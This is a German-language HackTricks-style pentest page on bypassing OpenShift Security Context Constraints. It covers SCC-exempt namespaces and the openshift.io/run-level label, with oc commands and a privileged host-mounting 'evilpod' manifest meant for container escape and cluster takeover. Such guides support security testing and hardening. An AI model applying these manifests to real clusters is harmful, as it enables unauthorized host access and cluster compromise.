mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 07:00:38 -08:00
127 lines
4.8 KiB
Markdown
127 lines
4.8 KiB
Markdown
# Openshift - SCC bypass
|
|
|
|
**Der ursprüngliche Autor dieser Seite ist** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
|
|
|
## Privilegierte Namespaces
|
|
|
|
Standardmäßig wird SCC nicht auf folgenden Projekten angewendet:
|
|
|
|
- **default**
|
|
- **kube-system**
|
|
- **kube-public**
|
|
- **openshift-node**
|
|
- **openshift-infra**
|
|
- **openshift**
|
|
|
|
Wenn Sie Pods in einem dieser Namespaces bereitstellen, wird keine SCC durchgesetzt, was die Bereitstellung von privilegierten Pods oder das Einbinden des Host-Dateisystems ermöglicht.
|
|
|
|
## Namespace-Label
|
|
|
|
Es gibt eine Möglichkeit, die Anwendung von SCC auf Ihrem Pod gemäß der RedHat-Dokumentation zu deaktivieren. Sie müssen mindestens eine der folgenden Berechtigungen haben:
|
|
|
|
- Erstellen eines Namespaces und Erstellen eines Pods in diesem Namespace
|
|
- Bearbeiten eines Namespaces und Erstellen eines Pods in diesem Namespace
|
|
```bash
|
|
$ oc auth can-i create namespaces
|
|
yes
|
|
|
|
$ oc auth can-i patch namespaces
|
|
yes
|
|
```
|
|
Der spezifische Label `openshift.io/run-level` ermöglicht es Benutzern, SCCs für Anwendungen zu umgehen. Laut der RedHat-Dokumentation werden bei Verwendung dieses Labels keine SCCs auf alle Pods innerhalb dieses Namensraums durchgesetzt, wodurch alle Einschränkungen effektiv aufgehoben werden.
|
|
|
|
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Label hinzufügen
|
|
|
|
Um das Label in Ihrem Namensraum hinzuzufügen:
|
|
```bash
|
|
$ oc label ns MYNAMESPACE openshift.io/run-level=0
|
|
```
|
|
Um einen Namespace mit dem Label über eine YAML-Datei zu erstellen:
|
|
```yaml
|
|
apiVersion: v1
|
|
kind: Namespace
|
|
metadata:
|
|
name: evil
|
|
labels:
|
|
openshift.io/run-level: 0
|
|
```
|
|
Jetzt sollten alle neuen Pods, die im Namespace erstellt werden, keine SCC haben.
|
|
|
|
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
|
|
</strong><strong>$
|
|
</strong></code></pre>
|
|
|
|
In Abwesenheit von SCC gibt es keine Einschränkungen für Ihre Pod-Definition. Das bedeutet, dass ein bösartiger Pod leicht erstellt werden kann, um auf das Host-System zu entkommen.
|
|
```yaml
|
|
apiVersion: v1
|
|
kind: Pod
|
|
metadata:
|
|
name: evilpod
|
|
labels:
|
|
kubernetes.io/hostname: evilpod
|
|
spec:
|
|
hostNetwork: true #Bind pod network to the host network
|
|
hostPID: true #See host processes
|
|
hostIPC: true #Access host inter processes
|
|
containers:
|
|
- name: evil
|
|
image: MYIMAGE
|
|
imagePullPolicy: IfNotPresent
|
|
securityContext:
|
|
privileged: true
|
|
allowPrivilegeEscalation: true
|
|
resources:
|
|
limits:
|
|
memory: 200Mi
|
|
requests:
|
|
cpu: 30m
|
|
memory: 100Mi
|
|
volumeMounts:
|
|
- name: hostrootfs
|
|
mountPath: /mnt
|
|
volumes:
|
|
- name: hostrootfs
|
|
hostPath:
|
|
path:
|
|
```
|
|
Jetzt ist es einfacher geworden, Privilegien zu eskalieren, um auf das Hostsystem zuzugreifen und anschließend den gesamten Cluster zu übernehmen, wodurch 'cluster-admin' Privilegien erlangt werden. Suchen Sie nach dem Abschnitt **Node-Post Exploitation** auf der folgenden Seite:
|
|
|
|
{{#ref}}
|
|
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
|
|
{{#endref}}
|
|
|
|
### Benutzerdefinierte Labels
|
|
|
|
Darüber hinaus können je nach Zielkonfiguration einige benutzerdefinierte Labels / Annotationen auf die gleiche Weise wie im vorherigen Angriffszenario verwendet werden. Auch wenn sie nicht dafür vorgesehen sind, könnten Labels verwendet werden, um Berechtigungen zu erteilen, eine bestimmte Ressource einzuschränken oder nicht.
|
|
|
|
Versuchen Sie, nach benutzerdefinierten Labels zu suchen, wenn Sie einige Ressourcen lesen können. Hier ist eine Liste interessanter Ressourcen:
|
|
|
|
- Pod
|
|
- Deployment
|
|
- Namespace
|
|
- Service
|
|
- Route
|
|
```bash
|
|
$ oc get pod -o yaml | grep labels -A 5
|
|
$ oc get namespace -o yaml | grep labels -A 5
|
|
```
|
|
## Liste aller privilegierten Namespaces
|
|
```bash
|
|
$ oc get project -o yaml | grep 'run-level' -b5
|
|
```
|
|
## Fortgeschrittener Exploit
|
|
|
|
In OpenShift, wie zuvor demonstriert, kann das Berechtigung, ein Pod in einem Namespace mit dem `openshift.io/run-level`-Label zu deployen, zu einer unkomplizierten Übernahme des Clusters führen. Aus der Perspektive der Cluster-Einstellungen **kann diese Funktionalität nicht deaktiviert werden**, da sie im Design von OpenShift verankert ist.
|
|
|
|
Allerdings können Maßnahmen wie **Open Policy Agent GateKeeper** verhindern, dass Benutzer dieses Label setzen.
|
|
|
|
Um die Regeln von GateKeeper zu umgehen und dieses Label zu setzen, um eine Cluster-Übernahme durchzuführen, **müssten Angreifer alternative Methoden identifizieren.**
|
|
|
|
## Referenzen
|
|
|
|
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
|
|
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
|
|
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|